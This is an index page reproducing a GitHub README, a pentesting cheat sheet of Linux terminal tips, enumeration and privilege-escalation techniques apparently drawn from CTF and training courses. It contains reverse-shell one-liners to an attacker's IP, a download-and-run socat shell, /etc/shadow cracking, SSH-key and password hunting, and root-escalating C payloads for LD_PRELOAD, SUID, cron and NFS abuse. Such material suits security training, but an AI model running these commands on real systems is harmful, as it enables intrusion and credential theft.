Ecosyste.ms: Awesome

An open API service indexing awesome lists of open source software.

Awesome Lists | Featured Topics | Projects

https://github.com/txuswashere/pentesting-linux

Pentesting Linux
https://github.com/txuswashere/pentesting-linux

pentest pentest-linux pentest-scripts pentest-tool pentest-tools pentesters pentesting pentesting-linux pentesting-tool

Last synced: about 1 month ago
JSON representation

Pentesting Linux

Awesome Lists containing this project

README

        

# Pentesting Linux

# Initial Foothold

## Questions to consider

- What distribution of Linux is the system running?
- What shell & programming languages exist on the system?
- What function is the system serving for the network environment it is on?
- What application is the system hosting?
- Are there any known vulnerabilities?

# Useful commands and tools on Linux

## Useful shortcuts and hacks to use the terminal quickly

- `Ctrl+U` - clear all the current line from the end to the beginning only if the cursor is at the end of the line. It will basically delete everything before the cursor (meaning it can work if you do not want to clear the whole line)
- `Ctrl+Y` - recall the cleared line
- `Ctrl+K` - clear all the current line from the beginning to the end only if the cursor is at the beginning of the line. Which will basically delete everything after the cursor ;) (meaning it can work if you do not want to clear the whole line)
- `Ctrl+W` - clear the previous word in the current line. For example if you have typed a command like `git diff /path/to/some/file` and you want to delete just the last parameter to the command, Ctrl+W is very useful.
- `Ctrl+E Ctrl+U` - move the cursor to the end of the line and clear all the current line from the end to the beginning.
- `Ctrl+C` - cancel the current command line, which implies clear all the current line no matter where the cursor is. (you can't recall the cleared line anymore).
- `Alt+Shift+#` - comment the current line, keep it in the history and bring up your prompt on a new line.
- `Alt+Backspace` to remove a word from your prompt
- `Ctrl+Shit+C` - copy something you previously selected
- `Ctrl+Shit+V` - paste something
- `Home` or `Ctrl+A` - Go to the begining of your prompt
- `End` or `Ctrl+E` - Go to the end of your prompt
- To clear the terminal you can use `clear` but you can also use `CRTL+L`
- `Ctrl+shift++` to zoom in your terminal
- `Crtl+-` to zoom out
- If you have a command typed in your prompt and you want to open it with your default editor you can use `CTRL+X+E`
- `Ctrl+R` to reverse search in you previously typed commands
- `!cmd` will pull off the last command we used with cmd For example- `!cd` will pull off last command we used with cd or `!ls` will pull off last command used with ls

### cd

- Say you were in the directory `usr/share/wordlists` and then you typed `cd` to go back home, if you want to go back to the wordlists you can use `cd -` (this command checks the $OLDPWD variable)

### ls

- Instead of typing `ls -l` you can use the alias `ll`
- Instead of typing `ls -la` you can use the alias `la`

### Sudo

- If you typed a command but forgot to sudo it you can use `sudo !!` to sudo it. Then using Enter or the down arrow you can read the following lines, whe you are done you can just type `q`

### less

- If you want to read a file but do not want to scroll if it is big you can use `less FileName`

### tail

- `tail FileName` will print for you the last lines of a file

### sort

- Will sort the content of a file `sort filename`
- Example of possible result `file1 file2 differ: char 280, line 18`

### cmp

- Will compare files `cmp file1 file2`

### Create an alias

- If you have a command you use all the time but that is a little long you can use an alias to make it shorter `alias mycommand="the command you need"` so for example `alias crazyls = "ls -al"` now when you will type `crazyls` you will have the result of `ls -al`
- You can also edit your `.bashrc` file and add your aliases there. This will make them permanent.

## Network commands

- `ifconfig`
- `ip a`
- `iwconfig` wireless connection
- `arp -a`
- `ip n`
- `ip r`
- `route` get the routing table
- `ping IP-ADD-OR-HOST` check if a host is up
- `netstat`

### Pingsweep in bash

- On his course Practical Ethical Hacking Heath Adams shares this script that is really convenient to make an ip sweep.

```bash
#!/bin/bash
if [ "$1" == "" ]
then
echo "You forgot an IP address!"
echo "Syntax: ./ipsweep.sh 192.168.1"

else
for ip in `seq 1 254`; do
ping -c 1 $1.$ip | grep "64 bytes" | cut -d " " -f 4 | tr -d ":" &
done
fi
```

- To automate this further we could add an nmap script to run on the alive ip found.

### Alternative port scan if nmap unvailable

- Here is an internal port Scanner (credits to Tryhackme - Holo network)

```bash
#!/bin/bash
ports=(21 22 53 80 443 3306 8443 8080)
for port in ${ports[@]}; do
timeout 1 bash -c "echo \"Port Scan Test\" > /dev/tcp/1.1.1.1/$port && echo $port is open || /dev/null"
done
```

- Python port scan (credits to Tryhackme - Holo network)

```python
#!/usr/bin/python3
import socket
host = "1.1.1.1"
portList = [21,22,53,80,443,3306,8443,8080]
for port in portList:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((host,port))
print("Port ", port, " is open")
except:
print("Port ", port, " is closed")
```

- netcat `nc -zv 192.168.100.1 1-65535`

## read .db file

- `apt-get install db-util` install db-util
- Show everything that’s in the file database.db `db_dump -p database.db`
- List the databases in the file database.db `db_dump -l database.db`
- Show only the content of the database mydb in the file database.db `db_dump -p -s mydb database.db`

## xclip

### Install

- `sudo apt install xclip`

### Use

xclip is a tool that can allow you to get any output in you clipboard.
Let's say you have a big input to copy and do not want to mess up with the mouse, you can use xclip.

- `cat myverybigfile | xclip -sel clipboard` will send the content of myverybigfile to the clipboard

## Vi or Vim

- [Vim](https://linuxcommand.org/lc3_man_pages/vim1.html) is a text editor for writing code or editing linux files.
- It can be found preinstalled on many linux systems
- `vim /path/to/file` open a file
- `i` like insert to enter insert mode
- `x` cut char
- `dw` cut word
- `dd` cut line
- `yw` copy word
- `yy` copy full line
- `p` paste
- `esc` to exit insert mode
- `:` enter command mode
- `:1` go to line 1
- `:w` write and save
- `:q` quit
- `:q!` quit but not save
- `:wq` or `ZZ` write and quit

> Note: it is possible to multiply a command for instance if you want to copy 3 words you can use `3yw`

- [Vim cheat sheet](https://vim.rtorr.com/)

## Strings

Strings will print human readable chars of a file. And for a CTF if we are looking for a specific string we can pipe it to grep

- `strings -e l file | grep -i FLAG` the `-e l` will select the encoding l is for 16-bit littleendian
- `strings file` is the basic use of the command

## TMUX

"tmux is a terminal multiplexer. It lets you switch easily between several programs in one terminal, detach them (they keep running in the background) and reattach them to a different terminal." Learn more about [tmux](https://github.com/tmux/tmux/wiki).

- `sudo apt install tmux -y` install Tmux
- `tmux new -s sessionName` create an join a new session
- `ctrl+b d` detach a session
- `tmux ls` list existing sessions
- `ctrl+b x` kill current session
- `tmux a -t sessionName` or `tmux a -t sessionId` join an existing session
- `tmux ctrl+b pageup` to scroll and `q` to leave scroll mode

- [TMUX Cheat Sheet](https://tmuxcheatsheet.com/)
- [Introduction to tmux - IppSec](https://youtu.be/Lqehvpe_djs)

## Which architecture

- `lscpu` will tell you if you are 32 or 64
- `uname -m` similar but less verbose

## Shells

### Spawning interactive shells

- `/bin/sh -i` execute the shell interpreter specified in the path in interactive mode (-i).
- With Perl
- `perl —e 'exec "/bin/sh";'` or from a script `perl: exec "/bin/sh";`
- With Ruby
- `ruby: exec "/bin/sh"` has to be run from a script
- With Lua
- `lua: os.execute('/bin/sh')` has to be run from a script
- With awk
- `awk 'BEGIN {system("/bin/sh")}'`
- With Find
- `find / -name nameoffile -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;`
- `find . -exec /bin/sh \; -quit` This use of the find command uses the execute option (-exec) to initiate the shell interpreter directly. If find can't find the specified file, then no shell will be attained.
- With vim
- `vim -c ':!/bin/sh'`
- Vim Escape

```bash
vim
:set shell=/bin/sh
:shell
```

> Source HTB Academy

### Bash Reverse shell

- Say we have a way through root and we need to get a reverse shell here are helpfuls command
- `rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc IP-OF-YOUR-KALI 7777 > /tmp/f` serve a Bash shell on a network socket utilizing a Netcat listener.
- `/bin/bash -i >& /dev/tcp/IP-OF-YOUR-KALI/4444 0>&1`
- `nc IP-OF-YOUR-KALI 4444 –e /bin/bash`
- `nc IP-OF-YOUR-KALI 4444 –e /bin/sh`
- `bash -c 'bash -i >& /dev/tcp/IP-OF-YOUR-KALI/4444 0>&1'` this one is symbol safe it is useful when doing it in an url or something like this.

> *Note: We have to set a listener prior to this with `rlwrap nc -lvp 4444`*

- [Here is an amazing website to generate reverse shell](https://www.revshells.com/) there are plenty of options for bash and you can even encode it if you needé

## Permissions cheat sheet

![image](https://user-images.githubusercontent.com/96747355/175057144-3baa417c-db0b-4709-af0d-eb370d222c39.png)

> *Source: [Chmod tutorial by Ryan Morrison](https://medium.com/@razl/chmod-tutorial-ce4386a3ce0c)*

## Explainshell.com

- [This website](https://explainshell.com/) is relly helpful to understand what a specific linux command does. Here is an example with `rm -rf file`
![image](https://user-images.githubusercontent.com/96747355/175054655-9a49193f-38a3-4cc7-92dc-e1d6f716aaab.png)

## Route your scripts through burp

- `export https_proxy=http://server-ip:port/` for example `export https_proxy=http://127.0.0.1:8080/`
- You will need to add a cert
- Generate a burp.der cert
- Convert it to pem `openssl x509 -inform der -in burp.der -out burp.pem`
- Install Burp certificate:
- `cp burp.pem /etc/ssl/certs/` (will need sudo if not root)
- `update-ca-certificates` (will need sudo if not root)
- `cp burp.pem burp.crt`
- `sudo cp burp.crt /usr/local/share/ca-certificates/`
- `sudo cp burp.crt /usr/share/ca-certificates/`
- Everytime you launch a script you should see the traffic in burp

## Resources

- https://askubuntu.com/questions/470966/shortcut-to-clear-command-line-terminal
- https://github.com/andrew-d/static-binaries
- https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
- https://youtu.be/ACM36qtHIEg

# Linux privilege escalation

## System Enumeration

- `hostname` will return the hostname of the target machine
- `uname -a` Will print system information
- `cat /proc/version` provides information about the target system processes
- `cat /etc/issue` contains some information about the operating system but can be changed
- `ps` see the running processes
- `ps -A` View all running processes
- `ps axjf` View process tree
- `ps aux` The aux option will show processes for all users (a), display the user that launched the process (u), and show processes that are not attached to a terminal (x).
- `ps aux | grep root`
- `env` will show environmental variables
- `lscpu` gives info about the architecture
- `ls -la /etc/cron.daily/` check daily cronjobs
- `cat /etc/crontab` check the crontab
- `lsblk` check for file system and additional drives

### PSPY

- PSPY is a tool to look for running processes
- We can get it [here](https://github.com/DominicBreuker/pspy)
- And then we just need to launch it `./pspy64 -pf -i 1000` The -pf flag tells the tool to print commands and file system events and -i 1000 tells it to scan profcs every 1000ms (or every second).

## User enumeration

- `whoami` gives username
- `ìd` general overview of the user’s privilege level and group memberships
- `cat /etc/passwd` list of users on the system
- `cat /etc/passwd | grep home | cut -d ":" -f 1` this should return only users (and no service accounts)
- `cat /etc/shadow` hash store file
- `cat /etc/groups`
- `history` will show previous commands
- `sudo -l` what can we run as sudo. Example

```
sudo -l
Matching Defaults entries for cerealkiller on ip-172-31-63-238:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User cerealkiller may run the following commands on ip-172-31-63-238:
(phantom) NOPASSWD: ALL
(vimuser) NOPASSWD: /usr/bin/vim
(nmapuser) NOPASSWD: /usr/bin/nmap
```
- `sudo -u phantom cat /home/phantom/flag.txt` execute a command with another user
- `find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null` Find writable directories
- `find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null` Find writable files

## Network Enumeration

- `ifconfig` information about the network interfaces of the system
- `ip add` (similar to ifconfig)
- `ip route` show network routes
- `arp -a` or `ip neigh`
- `netstat` gather information on existing connections
- `netstat -a` shows all listening ports and established connections.
- `netstat -at` or `netstat -au` can also be used to list TCP or UDP protocols respectively.
- `netstat -l` list ports in “listening” mode. These ports are open and ready to accept incoming connections.
This can be used with the “t” option to list only ports that are listening using the TCP protocol (below)
- `netstat -s` list network usage statistics by protocol (below) This can also be used with the `-t` or `-u` options to limit the output to a specific protocol.
- `netstat -ltp` list connections with the service name and PID information and listening ports.
- `netstat -i` Shows interface statistics.
- `netstat -ano` `-a` Display all sockets, `-n` Do not resolve names, `-o` Display timers

## Password Hunting

- `grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null` we can also search for "PASSWORD=" to narrow the search
- We can also hunt down SSH keys `find / -name authorized_keys 2> /dev/null` or `find / -name id_rsa 2> /dev/null`

## Misc CTF tricks

### Read file with nmap

- Being creative with nmap if we do not have rights to read a specific file

```
sudo -u nmapuser nmap -iL flag.txt 127.0.0.1
Starting Nmap 7.60 ( https://nmap.org ) at 2020-06-21 02:54 UTC
Failed to resolve "HF-B2C56B421F6229316B00A973586AAAD1".
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.04 seconds
```

### Upgrade a reverse shell to a fully TTY interactive shell

- Sometimes we will get a shell but it won't be very convenient. There are some ways to upgrade your shells to interactive TTY reverse shell
- [This article on ropnop blog](https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/) shows multiple ways to do so.
- `python -c 'import pty; pty.spawn("/bin/bash")'` if you want a quick dirty little fix but not completely interactive this python command works well for python3 it is the same but like this `python3 -c 'import pty; pty.spawn("/bin/bash")'`
- With socat
- `socat file:`tty`,raw,echo=0 tcp-listen:4444` on your kali
- `socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444` from the victime machine
- If socat is not installed see [here](https://github.com/andrew-d/static-binaries) for static binaries
- `wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444`
**OR**
`wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat` in your kali then put on your python3 webserver
and then `wget -q http://YOUR-KALI-IP/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:YOUR-KALI-IP:4444`

## Automated Tools

- We can run one tool and if we do not see anything try another one
- [LinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
- The color code is very useful we definitely have to investingate things in red and yellow or just in red
- [LinEnum](https://github.com/rebootuser/LinEnum )
- [Linux Exploit Suggester](https://github.com/mzet-/linux-exploit-suggester)
- [Linux Priv Checker](https://github.com/sleventyeleven/linuxprivchecker)

## Checklist

- [Hacktricks](https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist)
- [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md)

## Resources

- https://academy.tcm-sec.com/p/linux-privilege-escalation
- https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
- https://gtfobins.github.io/
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md
- https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist
- https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_-_linux.html
- https://github.com/TCM-Course-Resources/Linux-Privilege-Escalation-Resources

# Privesc via Kernel Exploit

## What is a kernel

![image](https://user-images.githubusercontent.com/96747355/167271686-de6d61de-0566-475e-9248-bac94de54d0e.png)
- [See the definition on Wikiedia](https://en.wikipedia.org/wiki/Kernel_(operating_system))
- [A list of Kernel Exploits](https://github.com/lucyoa/kernel-exploits)

## How to privesc via kernel exploit

### Enumerate

- `uname -a` or `cat /etc/lsb-release `
- We can then google the version we get and see if anything comes out
- We can also use Linux exploit suggester and investigate the results

### Dirty Cow

- We can use this [exploit](https://www.exploit-db.com/exploits/40839)
- `gcc -pthread cow.c -o cow -lcrypt`
- We are a low privilege user for now
![image](https://user-images.githubusercontent.com/96747355/167271901-78383711-70af-455a-8120-f221f8375bcc.png)
- `./cow`
![image](https://user-images.githubusercontent.com/96747355/167271978-bed109e8-f527-4f8e-8303-a935a27150c6.png)
- `passwd` should let us be root

# Escalate via password anf file permission

## Stored Passwords

- `history` or `cat .bash_history` will show previous command and will sometines leak password
- `find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;`
- Sometimes a simple `ls` or `ls -la` will give interesting files

## Weak File permission

- Do we have access to file that we shouldn't?
- `ls -la /etc/passwd`
- This used to store password
- If we can modify the file we can remove the x, we could change the num of the group of our user to become part of root group
- `ls -la /etc/shadow`
- We can copy the content of `/etc/passwd` in a file in our attacking machine
- we can then use `unshadow` `unshadow passwd shadow`
![image](https://user-images.githubusercontent.com/96747355/167272581-c345c457-a9c3-4cf5-a925-e1e88d66cb36.png)
- We can then copy this output in another file and just keep the users with the hash
![image](https://user-images.githubusercontent.com/96747355/167272620-3ac73fdf-767f-45b6-96b6-044950186a05.png)
- We can now look for the hash on [hashcat.net](https://hashcat.net/wiki/doku.php?id=example_hashes) our hashes start with `$6$` so we can ctrl+F this and this will give us the mode number to use.
- `hashcat -m 1800 unshadowed /usr/share/wordlists/rockyou.txt -O`
![image](https://user-images.githubusercontent.com/96747355/167272817-b884a708-a2b6-47e7-b4da-50b909b62536.png)

## SSH keys

- `find / -name authorized_keys 2> /dev/null`
- `find / -name id_rsa 2> /dev/null`
- If we find an id_rsa key, we can copy it in our machine and use it to log in
- Before using it we have to change the right `chmod 600 id_rsa`
- And then we can just `ssh -i id_rsa [email protected]`

# Escalation via Sudo

## Sudo Shell Escaping

- `sudo -l` will show us commands delegated to our user. See example of possible output below
![image](https://user-images.githubusercontent.com/96747355/167295677-4b615420-f012-4bb7-992c-b03ab924f8b8.png)
- With the result of the command we can then check out on [GTFOBins](https://gtfobins.github.io/) for comprehensive ways to escalate

### Vim

- [Vim on Gtfobins](https://gtfobins.github.io/gtfobins/vim/) the section of interest for us here is the following one:
![image](https://user-images.githubusercontent.com/96747355/167295801-e9cab3c9-62e5-4a46-90f3-ff62498f4e57.png)
- Let's try this command `sudo vim -c ':!/bin/sh'`
- It works right away
![image](https://user-images.githubusercontent.com/96747355/167295851-cd5dd86e-3dc6-49b3-9c32-6846a32f857d.png)

### awk

- [Awk on GTFOBins](https://gtfobins.github.io/gtfobins/awk/) the section of interest for us here is the following one:
![image](https://user-images.githubusercontent.com/96747355/167295996-a55b8fce-b27f-421a-958a-18646b7c828d.png)
- So let's try this `sudo awk 'BEGIN {system("/bin/sh")}'`
- It works
![image](https://user-images.githubusercontent.com/96747355/167296030-dd82bef4-4640-4ded-8357-0b2f32ca9638.png)

## Intended Functionality

### Example with Apache2

- `sudo -l` we should see this: `(root) NOPASSWD: /usr/sbin/apache2`
- *Note: There are no entry on GTFOBins about apache2 but Google can do the trick ;) We could type something like "sudo apache2 privilege escalation"*
- Then we find an [article](https://touhidshaikh.com/blog/2018/04/abusing-sudo-linux-privilege-escalation/) that mentions this command to let us view system files.

### Example with wget

- See [here](https://veteransec.org/hack-the-box-sunday-walkthrough/) an example with wget on veteransec's writeup of the HTB box called sunday.

## LD_PRELOAD

- `sudo -l` we should see something like this `env_keep+=LD_PRELOAD`
- We are going to preload a user specific share library before any other share libraries
- We need to write our malicious library that will privesc for us by changing our gid and uid to 0 (root). We put this code in a file named x.c
```
#include
#include
#include

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
```
- now we need to compile our library with gcc `gcc -fPIC -shared -o /tmp/x.so x.c -nostartfiles`
- And now we need to set it as our user's preloaded library `sudo LD_PRELOAD=/tmp/x.so apache2`
- We should be root
![image](https://user-images.githubusercontent.com/96747355/167297390-ce9c76ed-72c5-4bfb-bea9-9b380478cb9d.png)

## CVE-2019-14287

- [CVE-2019-14287 on exploit-db](https://www.exploit-db.com/exploits/47502)
- This vulnerability allows us to change our user id, we need to have some sudo rights delegated to us this works very well with right on `/bin/bash`

## CVE-2019-18634

- [CVE-2019-18634 exploit by saleemrashid](https://github.com/saleemrashid/sudo-cve-2019-18634)
- This one is a buffer overflow
- If we see that we have password feedback on (we can try any sudo command to check for this), it means that the option `pwfeedback` is turned on in `/etc/sudoers` and that makes it vulnerable to buffer overflow
- We basically just need to run the provided exploit. Pour pratice on this check out [this box](https://tryhackme.com/room/sudovulnsbof) on trhyhackme

## Resources

- https://academy.tcm-sec.com/p/linux-privilege-escalation

# Escalation via SUID

## Enumeration

- `find / -perm -u=s -type f 2>/dev/null` will list all the files with the suid perm
- You can see the suid perm in the permissions as an `s` like here:
![image](https://user-images.githubusercontent.com/96747355/167308910-5b0a0157-6586-46bd-a213-42c229e996e8.png)

## Exploitation

- Here again we can use [GTFOBins](https://gtfobins.github.io/#+suid) and check if our command is in there and has documented exploitation

## SUID - Shared Object Injection

### Enumeration

- `find / -type f -perm -04000 -ls 2>/dev/null`
- `ls -al nameoffile`

### Exploitation

- In our example the file is `/usr/local/bin/suid-so`
- `strace /usr/local/bin/suid-so 2>&1` with a grep on what could be interesting `strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"` this will show us what happens with the file. This is the place to check if we have rights on one of the file it uses. In our example we will use the file in this output `open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory)`
- Once we find a file we can try to overwrite it with a payload to elevate our privileges
```
#include
#include

static void inject() __attribute__((constructor));

void inject() {
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```
- We make a directory for our file
- We compile our file `gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/libcalc.c` in my example the file I will overright is `/home/user/.config/libcalc.so`
- This way we just need to run the sid file which is `/usr/local/bin/suid-so` in our example
- And it should give us a root prompt
![image](https://user-images.githubusercontent.com/96747355/170128114-817d12e9-27bf-429c-9682-6e29222cdcb4.png)

## SUID - Binary Symlinks

- Issues on log created by nginx

### Enumeration

- `./linuxexploitsuggester.sh` we should have this output `[+] [CVE-2016-1247] nginxed-root.sh` or we could manually look for this specific vulnerability by checking nginx version `dpkg -l | grep nginx`
- Now we need to check if the suid bit is set on sudo `find / -type f -perm -04000 -ls 2>/dev/null` or `ls -al /usr/bin/sudo`

### Exploitation

- `ls -al /var/log/nginx`
- We will need to create a malicious symlink
- We will use [this](https://github.com/xl7dev/Exploit/blob/master/Nginx/nginxed-root.sh) to do so
- `./nginxed-root.sh /var/log/nginx/error.log`
- When nginx will be restarted, we will be root
![image](https://user-images.githubusercontent.com/96747355/170131842-3acc1171-23de-4d18-9691-167cf4649cc6.png)
- Check out [this resource](https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html) to learn more about this way to escalate

## SUID - Environmental Variables

### Enumeration

- `find / -type f -perm -04000 -ls 2>/dev/null` we can then chek for env var with the suid bit activated in our example we have `/usr/local/bin/suid-env` this launches apache using service (we know this by making a strings on the file).
![image](https://user-images.githubusercontent.com/96747355/170258997-532e61be-117c-4e9f-9ad9-a4e6c0644716.png)

### Exploitation

- Let's create a malicious service and add it to our path so that it is launched instead of apache
- `echo 'int main() {setgid(0); setuid(0); system("/bin/bash"); return 0;}' > /tmp/service.c`
- `gcc /tmp/service.c -o /tmp/service`
- We now need to change our path `export PATH=/tmp:$PATH`
![image](https://user-images.githubusercontent.com/96747355/170260619-089f2ad9-71ae-4dea-8283-a40ddbb0e5a7.png)
- And now we just need to run the binary `/usr/local/bin/suid-env` to escalate to root
![image](https://user-images.githubusercontent.com/96747355/170260873-6b5fa24d-658b-4ba2-b2a1-f2662a4ba839.png)

## SUID - Environmental Variables with full path to binary

- `find / -type f -perm -04000 -ls 2>/dev/null` we can then chek for env var with the suid bit activated in our example we have `/usr/local/bin/suid-env2` this launches apache using its full path service (we know this by making a strings on the file).
![image](https://user-images.githubusercontent.com/96747355/170265161-6ffb4183-13e3-418f-8317-5fb8ba1c1faf.png)
- `function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }` instead of creating a malicious bin we create a malicious function
- `export -f /usr/sbin/service` then we export our function in the path
- `/usr/local/bin/suid-env2` finally we just need to launch the service
**OR**
- `env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp && chown root.root /tmp/bash && chmod +s /tmp/bash)' /bin/sh -c '/usr/local/bin/suid-env2; set +x; /tmp/bash -p'`

# Capabilities

- Similar to suid but more secure.

## Enumeration

- `getcap -r / 2>/dev/null`

## Exploitation

- In our example the command to enumerate gave us `/usr/bin/python2.6`
![image](https://user-images.githubusercontent.com/96747355/170370598-258880d0-3303-4866-b4bb-46f7191b1542.png)
- We just need to run python with a command that will give us root `/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'`
![image](https://user-images.githubusercontent.com/96747355/170371855-bdbbd738-2525-4f94-9232-0371c543cc58.png)

## Resources

- https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/
- https://mn3m.info/posts/suid-vs-capabilities/
- https://medium.com/@int0x33/day-44-linux-capabilities-privilege-escalation-via-openssl-with-selinux-enabled-and-enforced-74d2bec02099
- https://academy.tcm-sec.com/p/linux-privilege-escalation

# Escalation via Scheduled task (Cron)

## Cron Path

### Enumeration

- We have to check in the crontab for example with `cat /etc/crontab` if we can not read this file we still could check other ways to enumerate scheduled task using [payload all the things documentation](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md#scheduled-tasks) or an enumeration tool like linpeas
- In our example the system will try to run a file that does not exist (if we ls in home/user we do not see it)
![image](https://user-images.githubusercontent.com/96747355/170375060-4d8fc104-2b34-4dc8-82e1-86eefe247b1b.png)
- So we can try to create a file named overwrite.sh and make it escalate privileges

### Exploitation

- `echo 'cp /bin/bash /tmp/bash; chmod +x /tmp/bash' > /home/user/overwrite.sh` we create our overwrite file. Our script will create a bash with suid priv
- `chmod +x /home/user/overwrite.sh` we need to make it executable
- `/tmp/bash -p` we execute it and we get root
![image](https://user-images.githubusercontent.com/96747355/170377045-4b98a2fb-2d52-43ea-bfc7-1b84f8d78e5a.png)

## Cron Wildcards

### Enumeration

- `cat /etc/crontab` in our example we have a `/usr/local/bin/compress.sh`
![image](https://user-images.githubusercontent.com/96747355/170485258-123fce9b-325f-4450-a7c8-de8edf88b3ef.png)
- We can have a look at the script `cat /usr/local/bin/compress.sh`
![image](https://user-images.githubusercontent.com/96747355/170486526-94adfcff-62fd-46d2-8920-72c284644a31.png)
- The script goes to the user home and makes a backup of the content using a wildcard `*` and stores it in tmp
- We can not modify the script so we need to do something that uses the script to get our privesc. In order to do so we can do command related to tar as the script uses it.

### Exploitation

- `echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/runme.sh` we create a malicious bash
- `touch /home/user/--checkpoint=1` when the scheduled script is going to read the home directory it will have a file named as a tar command, so it will interpret it. This command displays a status message every 1
- `touch /home/user/--checkpoint-action=exec=sh\ runme.sh` then this command is going to make and action when the checkpoint we created before is hit
- After a minute we can then launch our bash `/tmp/bash -p`
- We should be root!
![image](https://user-images.githubusercontent.com/96747355/170489169-16815170-1f9e-4822-b9ad-539e6e3ea19c.png)

## Cron files overwrite

### Enumeration

- `cat /etc/crontab` in our example we will use the file overwrite.sh
![image](https://user-images.githubusercontent.com/96747355/170490233-f04c2ed3-b9d9-43ff-a28c-9e2f2e5c5044.png)
- We locate where is the file using `locate overwrite.sh`
- Check the permission on the file we want to overwrite `ls -l /usr/local/bin/overwrite.sh`
![image](https://user-images.githubusercontent.com/96747355/170490298-b00a49a7-ab58-4410-bfe3-18a45927d3eb.png)
- We can overwrite it

### Exploitation

- `echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /usr/local/bin/overwrite.sh` We are overwriting the file with a command that will copy bash and give it suid perms
- After a minute we should be able to launch `/tmp/bash -p`
- We should be root!
![image](https://user-images.githubusercontent.com/96747355/170490883-6c7020b8-fe46-4c8e-9041-c751990ebb33.png)

# Escalation vua NFS Root Squashing

## Enumeration

- `cat /etc/exports` in our example the "no root squash is defined for the tmp export. The folder is sharable and can be mounted
![image](https://user-images.githubusercontent.com/96747355/170492475-be3f4b86-9814-4c4e-8b3f-498878469748.png)

## Exploitation

### In our attacking machine

- `showmount -e IP-OF-TARGET` list the mountable folder of our target
![image](https://user-images.githubusercontent.com/96747355/170492807-11bbb7d8-6d35-45f9-a46f-bb4ddccaa4e6.png)
- `mkdir /tmp/1`
- `mount -o rw,vers=2 10.10.32.193:/tmp /tmp/1` we mount our folder
- `echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/1/x.c`
- `gcc /tmp/1/x.c -o /tmp/1/x`
![image](https://user-images.githubusercontent.com/96747355/170493149-af6c0e73-d280-4f6d-8aff-1e3641e01c47.png)

### In our target

- `/tmp/x` we can execute our binary
- We should be root!
![image](https://user-images.githubusercontent.com/96747355/170493310-57fdcd27-d27c-4668-b052-3bfbae88ffd7.png)

# Escalate via vulnerable services

## Screen 4.5.0

### Enumeration

- `screen -v` check the version to see if it is vulnerable (version 4.5.0 is vulnerable)

### Exploitation

- We can use this [script](https://www.exploit-db.com/exploits/41154) to exploit it.

# PATH abuse

## Enumeration

- `echo $PATH` or `env | grep PATH` check the content of the env var PATH. Creating a script or program in a directory specified in the PATH will make it executable from any directory on the system.

## Exploitation

- Adding `.` to a user's PATH adds their current working directory to the list. For example, if we can modify a user's path, we could replace a common binary such as ls with a malicious script such as a reverse shell. If we add `.` to the path by issuing the command `PATH=.:$PATH` and then `export PATH`, we will be able to run binaries located in our current working directory by just typing the name of the file (i.e. just typing ls will call the malicious script named ls in the current working directory instead of the binary located at /bin/ls).

# Wildcard Abuse

A wildcard character can be used as a replacement for other characters and are interpreted by the shell before other actions. Examples of wild cards include:

|Character| Significance|
|---------|-------------|
|`*` | An asterisk that can match any number of characters in a file name.|
|`?` |Matches a single character.|
|`[ ]`| Brackets enclose characters and can match any single one at the defined position.|
|`~` |A tilde at the beginning expands to the name of the user home directory or can have another username appended to refer to that user's home directory.|
|`-` |A hyphen within brackets will denote a range of characters.|

# Privesc via privileged groups

## Enumeration

- `id`

## Details

### Docker

Placing a user in the docker group is essentially equivalent to root level access to the file system without requiring a password. Members of the docker group can spawn new docker containers. One example would be running the command docker `run -v /root:/mnt -it ubuntu`.
